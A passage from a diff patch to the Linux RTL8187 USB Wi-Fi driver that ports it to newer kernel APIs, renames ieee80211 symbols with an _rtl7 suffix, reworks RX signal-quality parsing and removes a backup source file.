read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1883,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1892,71 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - - dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1973,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2008,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2037,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2127,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2193,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2216,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2230,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2274,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2413,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2431,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2451,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2462,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2475,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2585,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2387,6 +2595,19 @@ ---------------------------- USB_STUFF--------------------------- *****************************************************************************/ +#ifdef HAVE_NET_DEVICE_OPS +static const struct net_device_ops rtl8180_netdev_ops = { + .ndo_open = rtl8180_open, + .ndo_stop = rtl8180_close, + .ndo_get_stats = rtl8180_stats, + .ndo_tx_timeout = tx_timeout, + .ndo_do_ioctl = rtl8180_ioctl, + .ndo_set_multicast_list = r8180_set_multicast, + .ndo_set_mac_address = r8180_set_mac_adr, + .ndo_start_xmit = ieee80211_xmit_rtl7, +// .ndo_start_xmit = ieee80211_xmit, +}; +#endif static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id) @@ -2396,63 +2617,76 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - +#endif + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + +#ifdef HAVE_NET_DEVICE_OPS + dev->netdev_ops = &rtl8180_netdev_ops; +#else dev->open = rtl8180_open; dev->stop = rtl8180_close; + dev->get_stats = rtl8180_stats; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; dev->tx_timeout = tx_timeout; dev->wireless_handlers = &r8180_wx_handlers_def; dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#endif + +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2695,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2712,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2729,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2742,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2757,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c~ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8187_core.c~ --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c~ 2006-06-21 22:40:10.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8187_core.c~ 1969-12-31 16:00:00.000000000 -0800 @@ -1,2527 +0,0 @@ -/* - This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 - Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton - from Patric Schenke & Andres Salomon. - - Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - - some ideas might be derived from David Young rtl8180 netbsd driver. - - Parts of the usb code are from the r8150.c driver in linux kernel - - Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the - Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - - Please note that this file is a modified version from rtl8180-sa2400 - drv. So some other people have contributed to this project, and they are - thanked in the rtl8180-sa2400 CHANGELOG. -*/ - -#ifndef CONFIG_FORCE_HARD_FLOAT -double __floatsidf (int i) { return i; } -unsigned int __fixunsdfsi (double d) { return d; } -double __adddf3(double a, double b) { return a+b; } -double __addsf3(float a, float b) { return a+b; } -double __subdf3(double a, double b) { return a-b; } -double __extendsfdf2(float a) {return a;} -#endif - -#undef LOOP_TEST -#undef DUMP_RX -#undef DUMP_TX -#undef DEBUG_TX_DESC2 -#undef RX_DONT_PASS_UL -#undef DEBUG_EPROM -#undef DEBUG_RX_VERBOSE -#undef DUMMY_RX -#undef DEBUG_ZERO_RX -#undef DEBUG_RX_SKB -#undef DEBUG_TX_FRAG -#undef DEBUG_RX_FRAG -#undef DEBUG_TX_FILLDESC -#undef DEBUG_TX -#undef DEBUG_IRQ -#undef DEBUG_RX -#undef DEBUG_RXALLOC -#undef DEBUG_REGISTERS -#undef DEBUG_RING -#undef DEBUG_IRQ_TASKLET -#undef DEBUG_TX_ALLOC -#undef DEBUG_TX_DESC - -//#define CONFIG_RTL8180_IO_MAP - -#include "r8180_hw.h" -#include "r8187.h" -#include "r8180_rtl8225.h" /* RTL8225 Radio frontend */ -#include "r8180_93cx6.h" /* Card EEPROM */ -#include "r8180_wx.h" - - -// FIXME: check if 2.6.7 is ok -#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) -#define usb_kill_urb usb_unlink_urb -#endif - -#ifdef CONFIG_RTL8180_PM -#include "r8180_pm.h" -#endif - -#ifndef USB_VENDOR_ID_REALTEK -#define USB_VENDOR_ID_REALTEK 0x0bda -#endif -#ifndef USB_VENDOR_ID_NETGEAR -#define USB_VENDOR_ID_NETGEAR 0x0846 -#endif - -static struct usb_device_id rtl8187_usb_id_tbl[] = { - {USB_DEVICE(USB_VENDOR_ID_REALTEK, 0x8187)}, - {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6100)}, - {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6a00)}, - - {} -}; - -static char* ifname = "wlan%d"; -#if 0 -static int hwseqnum = 0; -static int hwwep = 0; -#endif -static int channels = 0x3fff; - -MODULE_LICENSE("GPL"); -MODULE_VERSION("V 1.1"); -MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); -MODULE_AUTHOR("Andrea Merello "); -MODULE_DESCRIPTION("Linux driver for Realtek RTL8187 WiFi cards"); - -#if 0 -MODULE_PARM(ifname,"s"); -MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); - -MODULE_PARM(hwseqnum,"i"); -MODULE_PARM_DESC(hwseqnum," Try to use hardware 802.11 header sequence numbers. Zero=default"); - -MODULE_PARM(hwwep,"i"); -MODULE_PARM_DESC(hwwep," Try to use hardware WEP support. Still broken and not available on all cards"); - -MODULE_PARM(channels,"i"); -MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); -#endif - -#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 9) -module_param(ifname, charp, S_IRUGO|S_IWUSR ); -//module_param(hwseqnum,int, S_IRUGO|S_IWUSR); -//module_param(hwwep,int, S_IRUGO|S_IWUSR); -module_param(channels,int, S_IRUGO|S_IWUSR); -#else -MODULE_PARM(ifname, "s"); -//MODULE_PARM(hwseqnum,"i"); -//MODULE_PARM(hwwep,"i"); -MODULE_PARM(channels,"i"); -#endif - -MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); -//MODULE_PARM_DESC(hwseqnum," Try to use hardware 802.11 header sequence numbers. Zero=default"); -//MODULE_PARM_DESC(hwwep," Try to use hardware WEP support. Still broken and not available on all cards"); -MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); - -static int __devinit rtl8187_usb_probe(struct usb_interface *intf, - const struct usb_device_id *id); - -static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); - -static struct usb_driver rtl8187_usb_driver = { - -#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 16) - .owner = THIS_MODULE, -#endif - .name = RTL8187_MODULE_NAME, /* Driver name */ - .id_table = rtl8187_usb_id_tbl, /* PCI_ID table */ - .probe = rtl8187_usb_probe, /* probe fn */ - .disconnect = rtl8187_usb_disconnect, /* remove fn */ -#ifdef CONFIG_RTL8180_PM - .suspend = rtl8180_suspend, /* PM suspend fn */ - .resume = rtl8180_resume, /* PM resume fn */ -#else - .suspend = NULL, /* PM suspend fn */ - .resume = NULL, /* PM resume fn */ -#endif -}; - - -void write_nic_byte_E(struct net_device *dev, int indx, u8 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xfe00, 0, &data, 1, HZ / 2); -} - - -void write_nic_byte(struct net_device *dev, int indx, u8 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 1, HZ / 2); -} - - -void write_nic_word(struct net_device *dev, int indx, u16 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 2, HZ / 2); -} - - -void write_nic_dword(struct net_device *dev, int indx, u32 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 4, HZ / 2); -} - - - -u8 read_nic_byte(struct net_device *dev, int indx) -{ - u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, 